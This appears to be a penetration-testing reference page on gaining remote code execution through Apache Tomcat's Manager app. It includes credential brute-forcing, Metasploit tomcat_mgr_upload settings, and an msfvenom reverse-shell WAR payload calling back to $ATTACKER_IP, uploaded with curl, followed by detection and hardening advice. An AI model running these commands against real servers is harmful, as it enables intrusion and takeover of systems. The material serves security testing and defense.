Tomcat Manager WAR Upload RCE

Apache Tomcat ships a bundled “Manager” web application (default path /manager/html) that lets administrators deploy, undeploy, and reload web applications at runtime. If an attacker obtains valid manager credentials — via default passwords (tomcat:tomcat, admin:admin), brute force, or credential reuse — the deploy function becomes an authenticated remote code execution primitive: upload a malicious .war (Web Application Archive) containing a JSP payload, and Tomcat unpacks and executes it under the Tomcat service account, which on many Linux installs runs as root.

This is not a software vulnerability per se — it is abuse of an intended administrative feature, which is why no CVE covers “Tomcat X.Y is vulnerable to WAR upload.” Exposure is a deployment/misconfiguration issue: the manager app should be access-restricted, and manager accounts should never use guessable passwords. MITRE T1505.003 — Web Shell territory once the JSP lands.

Attack preconditions

  1. Manager app reachable (fingerprint via nmap http-enum reporting /manager/html, or content brute-forcing with gobuster/dirbuster; commonly on port 8080 or a non-standard port).
  2. Valid credentials for a user with the manager-gui (Tomcat 7+), manager-script, or manager-jmx role — defined in tomcat-users.xml. Brute-forceable with hydra (http-get against /manager/html) or Metasploit’s auxiliary/scanner/http/tomcat_mgr_login.
  3. An architecture-matched payload (see targets below).

Metasploit: tomcat_mgr_upload

exploit/multi/http/tomcat_mgr_upload automates the whole chain: authenticate, upload a WAR via HTTP PUT to the manager’s upload endpoint, trigger the JSP inside, then (usually) clean up by undeploying.

use exploit/multi/http/tomcat_mgr_upload
set HttpUsername $USER
set HttpPassword $PASS
set RHOSTS $TARGET_IP
set RPORT $TOMCAT_PORT
set LHOST $ATTACKER_IP
set target 1        # see below
exploit

Target selection matters: target 0 is 32-bit x86 native and will fail against the common 64-bit Linux Tomcat build. Use the Java Universal target (platform-independent JSP payload) when the server’s architecture is unknown or 64-bit — the manager’s “Server Information” page (/manager/html server status) discloses the OS/architecture. The sibling module tomcat_mgr_deploy uses the /manager/text interface (POST deploy command) and is the right choice against Tomcat 8+.

The result is a meterpreter session as the Tomcat service account.

Manual variant

Generate a JSP WAR with msfvenom, then upload it through the manager’s “Select WAR file to upload” form (or curl the /manager/text/deploy?path=/... endpoint with a PUT):

msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o shell.war
curl --upload-file shell.war -u "$USER:$PASS" \
     "http://$TARGET:$PORT/manager/text/deploy?path=/shell"
# Trigger: browse to /shell/shell.jsp; catch with a listener

Detection & defense

  • WAR deploy events are logged to Tomcat’s localhost_access_log (PUT to /manager/.../deploy) and catalina.out — alert on unexpected deploys, especially from non-admin IPs.
  • Restrict the manager app to localhost or an admin network (RemoteAddrValve in context.xml), disable it entirely in production, and enforce strong unique passwords in tomcat-users.xml.
  • Run Tomcat as an unprivileged user so WAR RCE is not instant root.

Related: meterpreter, msfvenom, hydra, gobuster, dirbuster, nikto, nmap.

Sources